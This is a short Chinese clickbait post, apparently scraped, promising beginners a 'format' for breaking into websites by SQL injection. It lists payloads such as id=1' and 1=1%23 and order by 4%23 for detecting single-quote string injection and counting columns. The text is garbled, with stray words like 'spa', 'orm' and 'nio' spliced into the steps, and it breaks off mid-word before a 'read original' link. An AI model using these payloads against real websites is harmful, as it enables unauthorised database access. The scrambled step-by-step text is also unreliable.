震惊！sql注入 的格式竟然被他爆了出来，按照这个格式，新手入侵网站变成可能？！（做者自用格式）

判断是否存在注入 id=1’ 异常数据库 id=1’ and 1=1%23 正确spa id=1’ and 1=2%23 错误orm 说明存在单引号字符型SQL注入io 都错误的话，能够尝试数字型，双引号，括号型table 2.求列数form id = 1 order by 4%23 正常select Id = 1 order by 5%23异常nio 说明有4列 密码 格式 id = 1 ord

>>阅读原文<<